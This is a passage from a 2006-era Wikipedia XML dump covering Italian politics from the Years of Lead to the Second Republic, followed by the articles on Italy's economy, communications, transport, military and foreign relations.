Some left-wing extremists, then dubbed ''extraparlamentarians'' since they referred to no institutional party, formed the terrorist organization [[Red Brigades]], while fascist &quot;black terrorism&quot; (''[[Ordine Nuovo]]'' or [[National Vanguard (Italy)|''Avanguardia Nazionale'']]) was also in activity, following a sort of &quot;[[strategy of tension]]&quot;, in which occult and foreign forces (such as the [[Propaganda Due]] masonic lodge (aka &quot;P2&quot;), [[Gladio]], NATO's &quot;stay-behind&quot; paramilitary organizations, and the [[CIA]]) have allegedly been involved. The Red Brigades killed socialist journalist [[Walter Tobagi]], and, in their most famous operation, kidnapped and assassinated - under obscure circumstances - [[Aldo Moro]], president of the [[Christian Democracy (Italy)|Christian Democracy]], who was trying to involve the [[Italian Communist Party|Communist Party]] into the government through the ''[[historic compromise|compromesso storico]]'' (&quot;historic compromise&quot;). P2 was allegedly being behind Aldo Moro's murder, either by directly manipulating the Second Red Brigades, led by [[Mario Moretti]], or by refusing negotiations with his captors. The head of Italian intelligence services was accused of negligence. As a member of &quot;P2&quot;, this has caused suspicions about the possible involvement of P2's headmaster, [[Licio Gelli]], in this affair. The Red Brigades notably met fierce resistance among the Communist Party and the [[trade union]]s; some left-wing politicians used the condescending expression &quot;comrades who are mistaken&quot; (Italian: ''Compagni che sbagliano''). In fact, some have alleged that the Red Brigades (at least the 2nd Red Brigades) were actually been exploited by right-wing or possibly foreign forces to destabilize Italy or to discredit the Communist Party and impede the historic compromise.

The last and largest of the bombings, known as the [[Bologna massacre]], destroyed the city's railway station in [[1980]]. This was also found to be a neofascist bombing, in which Propaganda Due was involved.

On [[October 24]], [[1990]], Prime minister [[Giulio Andreotti]] (DC) would reveal to the Parliament the existence of [[Gladio]], NATO's secret &quot;stay-behind&quot; paramilitary organizations. Further juridical and parliamentary investigations in the 1990s would lead to the conclusion that the &quot;strategy of tension&quot; was supported by the United States in order to impede the Communist Party from governing. In 2000, a Parliament Commission report from the [[Olive Tree]] (left-wing) coalition concluded that the strategy of tension followed by Gladio had been supported by the United States to &quot;stop the PCI, and to a certain degree also the PSI [Italian Socialist Party], from reaching executive power in the country&quot;.

==== The Eighties ====
With the end of the lead years, the communist party gradually increased their votes under the leadership of [[Enrico Berlinguer]]. The Socialist party, led by [[Bettino Craxi]], became more and more critical of the communists and of the [[Soviet Union]]; Craxi himself pushed in favour of [[Ronald Reagan]]'s positioning of [[MGM-31 Pershing|Pershing]] missiles in Italy, a move the communists hotly contested.

As the socialist party moved to more moderate positions, it attracted many reformists, irritaded by the insuffcient attempts of modernization of communists, who were seen as old and out of fashion by many, while Craxi and the socialists seemed to represent a new liberal-socialism. The Communist party surpassed the Christian Democracy only in the [[Italian European elections, 1984|European elections of 1984]], barely two days after Berlinguer's death, that likely drew sympathy in the population. That was to be the only time the Christian Democracy was not the largest party in a nation-wide election they participated in.

In these years, [[political corruption|corruption]] began to be more extensive, a fact that would be unveiled in the early nineties and nicknamed [[Tangentopoli]]. With the [[Mani Pulite]] investigation, starting just one year after the collapse of the Soviet Union, the whole power structure faltered, and seemingly indestructible parties like the Christian Democracy and the Socialist party disbanded; the communist party changed their name to [[Democratic Party of the Left]] take the role of the socialist party as the main [[Social democracy|social democratic]] party in Italy. What was to follow was then called the transition to the ''Second Republic''.

=== Second Republic ===
[[Image:Craxi coins.jpg|thumb|[[Bettino Craxi]] contested by students.]]
From [[1992]] to [[1997]], Italy faced significant challenges as voters (disenchanted with past political paralysis, massive government debt, extensive corruption, and organized crime's considerable influence collectively called [[Tangentopoli]] after being uncovered by [[Mani pulite]]) demanded political, economic, and ethical reforms.

In the [[referendum in Italy|Italian referenda]] of [[1993]], voters approved substantial changes, including moving from a proportional to an [[Additional Member System]] which is largely dominated by a [[First Past the Post electoral system|majoritarian electoral system]] and the abolishment of some ministries (some of which have however been reintroduced with only partly modified names, as the ''Ministry of Agriculture'' being renamed ''Ministry of Agricultural Resources'').

Major political parties, beset by scandal and loss of voter confidence, underwent far-reaching changes. New political forces and new alignments of power emerged in March [[1994]] national elections. The election saw a major turnover in the new parliament, with 452 out of 630 deputies and 213 out of 315 senators elected for the first time.

[[Image:SilvioB.jpg|thumb|[[Silvio Berlusconi]], media magnate and leader of the Italian right wing of politics since 1994.]]
The [[1994]] elections also swept media magnate [[Silvio Berlusconi]] (leader of &quot;[[Pole of Freedoms]]&quot; coalition) into office as Prime Minister. Berlusconi, however, was forced to step down in December [[1994]] when the [[Lega Nord]] withdrew support. The Berlusconi government was succeeded by a [[technical government]] headed by Prime Minister [[Lamberto Dini]], which left office in early [[1996]].

[[Image:Prodi.jpg|thumb|[[Romano Prodi]], professor and leader of the Italian left wing of politics since 1996.]]
A series of center-left coalitions dominated Italy's political landscape between [[1996]] and [[2001]]. In April 1996, national elections led to the victory of a center-left coalition, the [[Olive Tree]]) under the leadership of [[Romano Prodi]]. Prodi's government became the third-longest to stay in power before he narrowly lost a vote of confidence, by three votes, in October [[1998]].

In May [[1999]], the Parliament selected [[Carlo Azeglio Ciampi]] as the [[List of Presidents of the Italian Republic|President of the Republic]]. Ciampi, a former Prime Minister and Minister of the Treasury, and before the governor of the [[Bank of Italy]], was elected on the first ballot with an easy margin over the required two-thirds votes.

A new government was formed by [[Democrats of the Left]] leader and former communist [[Massimo D'Alema]], but in April [[2000]], following poor performance by his coalition in regional elections, D'Alema resigned.

The succeeding center-left government, including most of the same parties, was headed by [[Giuliano Amato]] (social-democratic), who previously served as Prime Minister in 1992-93, and had back then sworn never to return to active politics.

National elections held on [[May 13]], [[2001]] returned Berlusconi to power at the head of the five-party center-right &quot;Freedom House&quot; coalition, comprising the prime minister's own party, [[Forza Italia]], the [[Alleanza Nazionale|National Alliance]], the [[Lega Nord|Northern League]], the [[Christian Democratic Center]], and the [[Democrats' Centre Union]].

==Administrative division==
: ''Main article: [[Regions of Italy]]''

The Italian State has twenty regions and about a hundred provinces. The [[constitution of Italy]] provides for twenty regions, most of them with limited governing powers. Regions are further divided in provinces. Provinces also have their own local elections. For each of the provinces, a [[prefect]] is appointed by and responds to the central government, which he locally represents.  While the number of regions is somewhat stable (the only modification to the original set is the separation of [[Molise]] from [[Abruzzo]]), there has been a tendency in later years to create new provinces, such as [[Crotone]], [[Verbania]], [[Lodi]], [[Biella]], [[Lecco]] and others.

Five regions ([[Sicily]], [[Sardinia]], [[Valle d'Aosta]], [[Trentino-South Tyrol]], [[Friuli Venezia Giulia]]) have special charters granting them varying degrees of autonomy. The ''raisons d'être'' of these charters is in most cases the presence of significant linguistic and cultural minorities, but in the case of Sicily it was historically an early attempt by the mafia to create its own independent state in the [[1950]]s. The other 15 regions were in practice established in [[1970]], even if their ideation had been a much earlier idea.  They vote for regional ''councils''.



== See also ==
*[[Foreign relations of Italy]]
*[[List of political parties in Italy]]

[[Category:Politics of Italy|Politics of Italy]]

[[de:Politisches System Italiens]]
[[fr:Politique de l'Italie]]
[[lt:Italijos politinė sistema]]
[[ja:イタリアの政治]]
[[pl:Ustrój polityczny Włoch]]
[[pt:Política da Itália]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Italy</title>
    <id>14702</id>
    <revision>
      <id>40881992</id>
      <timestamp>2006-02-23T17:13:39Z</timestamp>
      <contributor>
        <ip>81.178.83.211</ip>
      </contributor>
      <comment>/* Agriculture */</comment>
      <text xml:space="preserve">The [[Italy|Italian]] [[economic system|economy]] has changed dramatically since the end of [[World War II]]. From an agriculturally based economy, it has developed into an industrial state ranked as the world's fifth-largest economy in [[United States dollar|USD]] [[exchange rate|exchange-rate]] terms and eighth largest in terms of [[purchasing power parity]] (PPP). Italy belongs to the [[Group of Eight]] ([[G-8]]) industrialised nations; it is a member of the [[European Union]] and the [[OECD]].

Italy has few natural resources. With much of the land unsuited for [[farming]], it is a net food importer. There are no substantial deposits of [[iron]], [[coal]], or [[petroleum|oil]]. Proven [[natural gas]] reserves, mainly in the Po Valley and offshore Adriatic, have grown in recent years and constitute the country's most important [[mineral]] resource. Most raw materials needed for manufacturing and more than 80% of the country's energy sources are imported. Italy's economic strength is in the processing and the manufacturing of goods, primarily in small and medium-sized family-owned firms. Its major industries are [[precision machinery]], [[motor vehicle]]s, chemicals, [[pharmaceuticals]], electric goods, and [[fashion]] and [[clothing]].

Italy entered an economic crisis in 2004, with GDP growth at about zero, although GDP has started to grow again as of 2005. Previously, Italy's economy had accelerated from 0.7% growth in 1996 to 1.4% in [[1999]] and continued to rise to about 2.9% in [[2000]], which was closer to the EU projected growth rate of 3.1%. Domestic demand and exports were the dominant factors in GDP growth, but it nevertheless remains one of the lowest among industrialised countries. Since [[2002]], growth has gradually slowed, reaching [[recession]] conditions. [[L'Unione|The opposition]] blamed [[Silvio Berlusconi]]'s government for incompetence, especially the minister of economy [[Giulio Tremonti]]. A report of [[the Economist]], entitled ''Addio, dolce vita'' (&quot;Farewell, dolce vita&quot;) paralleles current status of Italian economy to that of the [[Republic of Venice]] in [[1797]], a country with &quot;many attractions&quot; but living &quot;a slow, long decline&quot;. The administration of the public finances is defined there as &quot;terrific&quot;, and Italy is called &quot;the real sick man of Europe&quot;. The government's stance has been to blame the difficulties on the international situation, especially on the [[September 11, 2001 Attacks]].

Import growth continues to outpace export growth, resulting in a trade deficit in 2000 of $1.3 billion, down from $14 billion in 1999 and $60 billion in [[1996]].

With respect to inflation of forms, Italy is now firmly within norms specified for [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] (EMU), a major achievement for this historically inflation-prone country. Consumer inflation fell from 3.9% in 1996 to 1.7% in 1999 but did rise again to 2.5% in 2000. The 1992 agreement on wage adjustments, which has helped keep wage pressures on inflation low, remains in effect. Tight monetary policy by the Bank of Italy also has helped bring inflation expectations down. Since 1999, a combination of the introduction of the [[euro]] and a house price boom are blamed for a rate of inflation estimated by academics as at least 15%, although officially it is around 2.5%[http://www.newstatesman.com/People/200409200022]. Most Italians maintain that with the euro,  prices doubled overnight.

Since 1992, economic policy in Italy has focused primarily on reducing government budget deficits and reining in the national debt. Successive Italian governments have adopted annual austerity budgets with cutbacks in spending, as well as new revenue raising measures. Italy has enjoyed a primary budget surplus, net of interest payments, for the last 7 years. The deficit in public administration declined to 1.4% of GDP in 2000, down from 7% in 1995. Italy joined the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] in May 1998. The national debt, which stood at roughly 124% of GDP in 1995, declined steadily until about 2002, but is raising again because of slow growth. The deficit-to-GDP ratio is likely going to be higher than the EU limit of 3.0% in [[2005]], and estimates of up to 5.1% have appeared.

Italy's closest trade ties are with the other countries of the European Union, with whom it conducts about 59% of its total trade. Italy's largest EU trade partners, in order of market share, are Germany (19%), France (13%), and the Netherlands (6%).



==Labor==
Unemployment has been steadily decreasing but remains high (8.6% in 2003, its lowest level since 1992). It is especially severe in the south, where average unemployment can exceed 20%. Women and youth have significantly higher rates of unemployment than do men. In past years, some claimed the rigid labor market was a disincentive to job creation. After a series of unpopular flexibility measures were passed, employment improved somewhat, but there have been reports of many companies abusing these measures in a series of ways, in order to force employees to work more hours than legal, and providing less secure jobs. There is a significant underground economy, especially in the south where it partially justifies the high official unemployement rate, absorbing substantial numbers of people, working for low wages and without standard social benefits and protections.

Unions claim to represent 40% of the work force. Most Italian unions are grouped in three major confederations: the [[Italian General Confederation of Labor]] (CGIL), the [[Italian Confederation of Labor Unions]] (CISL), and the [[Union of Italian Labor]] (UIL), which together claim 35% of the work force. These confederations formerly were associated with important political parties (respectively the [[Italian Communist Party]], the [[Christian Democracy (Italy)|Christian Democracy]] and the [[Italian Socialist Party]]), but they have formally terminated such ties. Nowadays, the three often coordinate their positions before confronting management or lobbying the government. The three major confederations have an important consultative role on national social and economic issues. Among their major agreements are a 4-year wage moderation agreement signed in 1993, a reform of the pension system in 1995, and an employment pact, introducing steps for labor market flexibility in economically depressed areas, in 1996. The CGIL, CISL, and UIL are affiliates of the [[International Confederation of Free Trade Unions]]. Of the three unions, CGIL is the strongest in numbers. CGIL once single-handedly organized a three-million people rally in [[Rome]].

Italy's employers are represented by [[Confindustria]], the Italian Employers' Federation.

==Industry==
Northern and Northwest Italy have traditionally made up the core of Italian industry. Key benefits include easy trade with the rest of Europe, [[hydroelectricity]] from the [[Alps]], and workable, flat land. The [[Fiat]] factory, for example, is located in [[Turin]].

==Agriculture==
The northern part of Italy produces primarily [[grain]]s, [[rice]], [[maize|corn]], [[sugarbeet]]s, [[soybean]]s, [[meat]], and [[dairy product]]s, while the south specializes in producing [[fruit]]s, [[vegetable]]s, [[olive oil]], [[wine]], and [[durum wheat]].

Even though much of its [[mountain]]ous [[terrain]] is unsuitable for [[farming]], Italy has a large work force (1.4 million) employed in farming. Most farms are small, with the average farm only 7 [[hectare]]s. In other words, there is not a lot of farming because of the region.

==Italian exports==
Italy's main exports are in the fields of [[food]], [[clothing]], and [[luxury]] [[cars]].  Famous Italian foods have  been brought to the rest of the world through Italian [[emigration]], especially to the [[United Kingdom]], [[Canada]] and [[Australia]]. Italian foods include a multitude of [[pasta]] dishes (originating in [[1500]]s Italy), [[pizza]] (born in [[1800]]s [[Naples]]), [[ice cream]], [[parma ham]], [[rice]], [[parmesan cheese]] and wine.  The most famous Italian wines are probably the [[Tuscany|Tuscan]] [[Chianti]] and [[Piedmont]]ese [[Pinot Grigio]].  

Quality goods in which Italy specialises are often [[Denominazione di Origine Controllata|DOC]] or 'of controlled origin'.  This DOC [[certificate]], which is attributed by the [[European Union]], ensures that the origins and work that goes into a product are recognised. This certification is considered important by producers and consumers alike, in order to avoid confusion with low-quality mass-produced [[ersatz]] products, such as [[Cambozola]], a [[Germany|German]] copy of [[Gorgonzola]].

Italy is known also for its fashion houses; [[Versace]], [[Valentino]], [[Fendi]], [[Gucci]], [[Prada]], [[Cavalli]], [[Sergio Rossi]], [[Dolce &amp; Gabbana]], [[Benetton]], [[Armani]] and others.  

[[Ferrari]], [[Maserati]] and [[Lamborghini]] are all associated with top-of-the-line carmaking, but the main Italian car producer, [[FIAT]], has a mediocre reputation in Italy and abroad.

==See also==
*[http://www.oecd.org/italy/ OECD's Italy country Web site] and [http://www.oecd.org/eco/surveys/italy/ OECD Economic Survey of Italy]
*[[Economy of Europe]]
*[[Commemorative coins of Italy]]

==External links==
*[http://www.bancaditalia.it/rootcollection;internal&amp;action=_setlanguage.action?LANGUAGE=en Banca D'Italia (Italy's Central Bank)]
*[http://www.istat.it/ National Institute of Statistic (ISTAT)] (in Italian)
*[http://www.icstat.org/ International Cooperation Center for Statistics (ICSTAT)]
* Sebastian Cresswell-Turner, ''[[The New Statesman]]'', [[20 September]] 2004, [http://www.newstatesman.com/People/200409200022 &quot;House prices? In Italy, too, people talk of little else&quot;]
* [http://www.oecd.org/document/0/0,2340,en_2649_201185_35010880_1_1_1_1,00.html Report about economic survey of Italy by OECD (May 2005)]
* [http://www.info-brevetti.org The Italian portal about patents and intellectual property]


{{EU countries}}
{{OECD}}
{{WTO}}

[[Category:Economy of Italy| ]]
[[Category:Economies by country|Italy]]
[[Category:European Union member economies]]

[[es:Economía de Italia]]
[[fr:Économie de l'Italie]]
[[pt:Economia da Itália]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Italy</title>
    <id>14703</id>
    <revision>
      <id>22808060</id>
      <timestamp>2005-09-08T00:42:05Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>moved to head of own category</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
25 million (1999)

'''Telephones - mobile cellular:'''
20.5 million (1999)

'''Telephone system:'''
modern, well-developed, fast; fully automated telephone, telex, and data services
&lt;br&gt;''domestic:''
high-capacity cable and microwave radio relay trunks
&lt;br&gt;''international:''
satellite earth stations - 3 Intelsat (with a total of 5 antennas - 3 for Atlantic Ocean and 2 for Indian Ocean), 1 Inmarsat (Atlantic Ocean region), and NA Eutelsat; 21 submarine cables

'''[[Radio]] broadcast stations:'''
AM about 100, FM about 4,600, shortwave 9 (1998)

'''Radios:'''
50.5 million (1997)

'''[[Television]] broadcast stations:'''
358 (plus 4,728 repeaters) (1995)

'''Televisions:'''
30.5 million (1997)

'''[[Internet]] Service Providers ([[Internet Service Provider|ISP]]s):'''
93 (Italy and Holy See) (2000)

'''Internet users:'''
19.25 million (2001)

'''[[Country codes|Country code]] (Top-level domain):''' IT

[[Category:Communications by country|Italy]]
[[Category:Communications in Italy| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Italy</title>
    <id>14704</id>
    <revision>
      <id>35437767</id>
      <timestamp>2006-01-16T19:55:05Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">'''[[Transport]] in [[Italy]]'''

== [[Railways]] ==
*''total:'' [[1 E7 m|19,394 km]], also on [[Sardinia]] and [[Sicily]].
*''standard gauge:'' 18,071 km 1.435-m gauge; Italian Railways (FS) operates 16,014 km of the total standard gauge routes (11,322 km electrified)
*''narrow gauge:'' 112 km 1.000-m gauge (112 km electrified); 1,211 km 0.950-m gauge (153 km electrified) (1998)

[[Trenitalia]] SpA is the passenger and freight transport company of [[Ferrovie dello Stato]].

[http://members.aol.com/Zacarious1/his.italy.html Italian Railroad Stations (history)]

High Speed Trains:

(Lines)

*Turin-Milan (under construction, 2006)
*Milan-Verona-Venice (under development)
*Milan-Bologna-Florence-Rome-Naples (under construction and operating, 2006)
*Napoli-Sicily Bridge-Palermo (under development)
*Milan-Genoa (under development)
*Milan-Lyon(France) (Alps tunnel under development, 2012)
see www.tav.it

Cities with [[subway]] railway systems:
* [[Rome]] 2 lines + 1 under construction
* [[Naples]] 6 lines + 1 under construction
* [[Milan]] 3 lines + 2 under construction
* [[Genoa]] 1 line
* [[Palermo]] 1 line 
* [[Catania]] 1 line
* [[Bari]] 3 lines under construction (light metro)
* [[Bergamo]] 2 lines under construction (light metro)
* [[Turin]] 1 line under construction
* [[Brescia]] 1 line under construction
* [[Bologna]] 1 line under construction
* [[Perugia]] 1 line under construction (light metro)
* [[Salerno]] 1 line under construction (light metro)
* [[Cagliari]] 1 line under construction (light metro)

=== Rail links with adjacent countries ===

* [[Transportation in France|France]] - yes
* [[Transportation in Switzerland|Switzerland]] - yes
* [[Transportation in Austria|Austria]] - yes
* [[Transportation in Slovenia|Slovenia]] - yes
* [[Transportation in Tunisia|Tunisia]] - (2005) possible undersea rail tunnel from [[Sicily]]! ([[Today's Railways]] #113).

===Stations===
Big Stations program (Station renovations), €400 million program, from ending 2005
*Milan Stazione Centrale
*Florence SMN
*Bologna Centrale
*Naples Centrale
*Turin Porta Nuova
*Rome [[Termini Station (Rome)|Termini Station]]

== [[Highway]]s ==
*''total:'' 654,676 km (including 6,957 km of expressways) (1998 est.)

All highways in Italy are paved.

*A1 Milan - Naples (Autostrada del Sole, SUN Highway)
*A1dir Nord Rome - Fiano Romano 
*A1dir Sud Rome - San Cesareo 
*A2 Rome - Naples (old terminology) 
*A3 Napoli - Reggio Calabria  
*A4 Torino - Trieste (Serenissima) 
*A5 Torino - Aosta - Monte Bianco 
*A6 Torino - Savona 
*A7 Milan - Genova 
*A8 Varese - Milan (Autostrada dei laghi) 
*A9 Lainate - Como - Chiasso (Autostrada dei laghi) 
*A10 Genova - Ventimiglia (Autostrada dei Fiori) 
*A11 Firenze - Pisa nord (Firenze-Mare) 
*A11/A12 bretella Lucca - Viareggio 
*A12 Genova - Rosignano / Civitavecchia - Roma (Autostrada Azzurra) 
*A13 Padova - Bologna 
*A14 Bologna - Taranto (Adriatica) 
*A14dir Solarolo - Ravenna 
*A15 Parma - La Spezia (Autostrada della Cisa) 
*A16 Napoli - Canosa (Autostrada dei Due Mari) 
*A17 Napoli - Canosa 
*A18 Messina - Catania (under renovation)
*A19 Palermo - Catania (under renovation)
*A20 Messina - Palermo (under renovation)
*A21 Torino - Piacenza - Brescia (Autostrada dei Vini) 
*A22 Brennero - Modena (Autobrennero) 
*A23 Palmanova - Tarvisio (Autostrada Alpe-Adria) 
*A24 Roma - L'Aquila - Teramo (Autostrada dei Parchi) 
*A25 Pescara - Torano 
*A26 Voltri - Gravellona Toce (Autostrada dei Trafori) 
*A27 Mestre - Belluno (Autostrada di Alemagna) 
*A28 Conegliano - Portogruaro 
*A29 Palermo - Mazara del Vallo 
*A29dir Alcamo - Trapani - Birgi Aeroporto 
*A30 Caserta - Salerno 
*A31 Piovene Rocchette - Vicenza (in esecuzione il prolungamento da Vicenza a Rovigo) (Autostrada della Val d'Astico) 
*A32 Torino - Bardonecchia (Autostrada del Frejus) 
*New Salerno - Reggio Calabria (under profound renovation)
*New Milan-Brescia-Bergamo (under development)
*New Pedemontana Lombarda (North Milan, under development)
*New Boffalora-Malpensa INT Airport (under construction)
*New Venice node (under construction)
*New Florence &quot;Variante di Valico&quot; node (under construction)
*New Sicily-Italy bridge (under development, see www.strettodimessina.it)


And &quot;tangenziali&quot; system:

*A50 Viboldone - Trezzano sul Naviglio - Rho - Arese (Tangenziale Ovest Milano) 
*A51 San Donato Milanese - Usmate (Tangenziale Est Milano) 
*A52 Sesto San Giovanni - Paderno Dugnano (Tangenziale Nord Milano) 
*A53 Pavia - Bereguardo (A7) 
*A54 Villalunga - Pavia - Madonna (PV) (Tangenziale di Pavia) 
*A55 Falchera - Rivoli - Nichelino - Trofarello (Tangenziale Nord Torino/Tangenziale Sud Torino) 
*A56 Napoli - Pozzuoli (Tangenziale di Napoli) 
*A90 - A-GRA Rome GRA big ring
*A91 Roma - Fiumicino Aeroporto

== [[Waterway]]s ==

* 2,400 km for various types of commercial traffic, although of limited overall value

City with almost all transport by boat: [[Venice]] ([[public transport]] by waterbus)

== Pipelines ==

* crude oil 1,703 km; petroleum products 2,148 km; natural gas 19,400 km

== [[Sea port|Port]]s and harbours ==

* [[Ancona]], [[Augusta, Sicily|Augusta]] ([[Sicily]]), [[Bagnoli]], [[Bari]], [[Brindisi]], [[Catania]], [[Civitavecchia]], [[Gela]], [[Genoa]], [[Gioia Tauro]], [[La Spezia]], [[Livorno]], [[Messina]], [[Milazzo]], [[Naples]], [[Palermo]], [[Porto Foxi]], [[Porto Torres, Sardinia|Porto Torres]] ([[Sardinia|Sardegna]]), [[Ravenna]], [[Salerno]], [[Savona]], [[Taranto]], [[Trieste]], [[Venice]].

== Merchant marine ==
*''total:'' 427 ships (1,000 GRT or over) totaling 6,971,578 GRT/9,635,770 DWT
*''ships by type:'' bulk 41, cargo 45, chemical tanker 73, combination ore/oil 2, container 20, liquified gas 38, livestock carrier 1, multi-functional large load carrier 1, passenger 6, petroleum tanker 87, roll-on/roll-off 58, short-sea passenger 26, specialized tanker 13, vehicle carrier 16 (1999 est.)

== [[Airport]]s ==
136 (1999 est.)

=== Hubs ===
*[[Malpensa International Airport]] (Milan)
*[[Leonardo Da Vinci International Airport]] (Rome) 

=== Airports - with paved runways ===
*''total:'' 97
*''over 3,047 m:'' 5: [[Malpensa International Airport]] (Milan/Varese), [[Linate Airport]] (Milan), [[Leonardo Da Vinci International Airport]] (Rome), ...
*''2,438 to 3,047 m:'' 33
*''1,524 to 2,437 m:'' 16
*''914 to 1,523 m:'' 31
*''under 914 m:'' 12 (1999 est.)

=== Airports - with unpaved runways ===
*''total:'' 39
*''1,524 to 2,437 m:'' 2
*''914 to 1,523 m:'' 19
*''under 914 m:'' 18 (1999 est.)

=== Heliports ===

Hundreds

[[Category:Transportation in Italy| ]]

[[fr:Transport en Italie]]
[[it:Trasporti in Italia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Italy</title>
    <id>14705</id>
    <revision>
      <id>34314547</id>
      <timestamp>2006-01-08T02:28:52Z</timestamp>
      <contributor>
        <username>Metropolitan90</username>
        <id>262163</id>
      </contributor>
      <comment>rephrasing &amp; wikifying</comment>
      <text xml:space="preserve">&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right&gt;
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#22cc22&gt;'''Military of Italy'''
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower'''
&lt;tr&gt;&lt;td&gt;Military age&lt;td&gt;18 years of age
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males age 15&amp;ndash;49:  14,315,634 (2000 est.)
&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males age 15&amp;ndash;49: 12,331,306 (2000 est.)
&lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt;males: 311,160 (2000 est.)
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures'''
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt;$23.294 billion (FY99)
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt;1.7% (FY99)
&lt;/table&gt;

== Military branches ==
*''[[Italian army|Esercito Italiano]]'' (Army)
*''[[Marina Militare]]'' (Navy)
*''[[Aeronautica Militare Italiana|Aeronautica Militare]]'' (Air Force)
*''[[Carabinieri]]'' (Military police)

The [[Guardia di Finanza]] is a specialized [[police]] and fight against financial [[crime]]s, illegal drugs trafficking, customs and borders control, illegal immigration, money laundering; is also a Military Corps.

[[Italy]] has worked closely with the [[United States]] and others on such issues as [[NATO]] and [[UN]] operations as well as with assistance to [[Russia]] and the other [[CIS]] nations, Middle East peace process, multilateral talks, [[Somalia]] and [[Mozambique]] peacekeeping, and combating drug trafficking, trafficking in women and children, and terrorism.

Under longstanding bilateral agreements flowing from NATO membership, Italy hosts important U.S. military forces at Vicenza &amp;ndash; home of 173d Airborne Brigade &amp;ndash; and Livorno (army); Aviano (air force); and Sigonella, Naples, and Gaeta &amp;ndash; home port for the [[United States Navy|U.S. Navy]] [[Sixth Fleet]]. The United States has about 16,000 military personnel stationed in Italy. Italy hosts the [[NATO War College]] in Rome.

Effective [[January 1]] [[2005]], the Italian Army has become a fully-volunteer profession, open both to men and women.

[[As of 2006]], Italy ranks third in the world in number of military forces operating in peace-keeping and peace-enforcing scenarios ([[Afghanistan]], [[Kosovo]], [[Iraq]], [[Balkans]], [[Lebanon]], [[Israel]]), following only the [[United States]] and [[United Kingdom]].

A new aircraft carrier, the ''Conte Cavour'', is in construction in the [[Liguria]] region.

==External links==
*[http://www.kamouflage.net/camouflage/00230/en_index.php kamouflage.net &amp;gt; Europe &amp;gt; Italy (Kingdom of Italy) &amp;gt; index]

{{NATO}}
[[Category:Military of Italy]]
[[Category:Militaries|Italy]]

[[de:Italienische Armee]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Italy</title>
    <id>14706</id>
    <revision>
      <id>41809692</id>
      <timestamp>2006-03-01T22:14:44Z</timestamp>
      <contributor>
        <ip>80.104.101.68</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of Italy}}
This article describes the '''foreign relations of [[Italy]]'''.

==International organization participation==
[[AfDB]], [[AsDB]], [[Australia Group]], [[Bank for International Settlements|BIS]], [[BSEC]] (observer), [[Caribbean Development Bank|CDB]] (non-regional), [[Council of Europe|CE]], [[Central European Initiative|CEI]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[ECLAC]], [[European Investment Bank|EIB]], [[Economic and Monetary Union of the European Union|EMU]], [[European Space Agency|ESA]], [[EU]], [[Food and Agriculture Organization|FAO]], [[G-7]], [[G-10]], [[Inter-American Development Bank|IADB]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[ICFTU]] [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFAD]], [[IFC]], [[IFRCS]] [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Inmarsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[LAIA]] (observer), [[MINURSO]], [[MONUC]], [[Non-Aligned Movement|NAM]] (guest), [[NATO]], [[Nuclear Energy Agency|NEA]], [[Nuclear Suppliers Group|NSG]], [[Organization of American States|OAS]] (observer), [[OECD]], [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UNIFIL]], [[UNIKOM]], [[UNITAR]], [[NMIBH]], [[UNMIK]], [[UNMOGIP]], [[UNTSO]], [[UPU]] [[WCL]], [[World Customs Organization|WCO]], [[WEU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]], [[Zangger Committee]]

==International disputes==
[[Italy]] and [[Slovenia]] made progress in resolving bilateral issues; [[Croatia]] and Italy made progress toward resolving a bilateral issue dating from [[World War II]] over property and ethnic minority rights; investigations continue about the killing of Italian Military Intelligence service officer [[Nicola Calipari]] by [[United States]] troops during the liberation of [[Giuliana Sgrena]] and about the abduction and torture of terrorism suspect [[Abu Omar]] by [[CIA]] agents.

Still large popular resentment about alleged U.S. and French involvement in the crash of [[Itavia Flight 870]] and subsequent cover-up over [[Ustica]] in 1980.

Italy – wishing for a seat on its own – opposes the request of [[G4 nations]] ([[Brazil]], [[Germany]], [[India]] and [[Japan]]) for a permanent seat in the [[UN Security Council]], accusing them of buying votes of poorer countries using aid money.

==Illegal immigration==
Italian and [[Albania]]n authorities managed to basically stop the flow of [[illegal immigrant]]s (such as [[Albanians]] and [[Kurds]]) and [[human trafficking]] from the Albanian coast to Italy, that have acquired great significance toward the end of the last century. 

From the beginning of the actual century the most important flow of immigrants come from the coasts and the illegal organizations of [[Libya]]. Although an Italian-Libyan agreement exists it is substantially uneffective, probably the failure of this collaboration is favoured by the not very good relationship between the two governments. However, as for almost all continental european contries, the numerically biggest flow come from terrestrial borders.

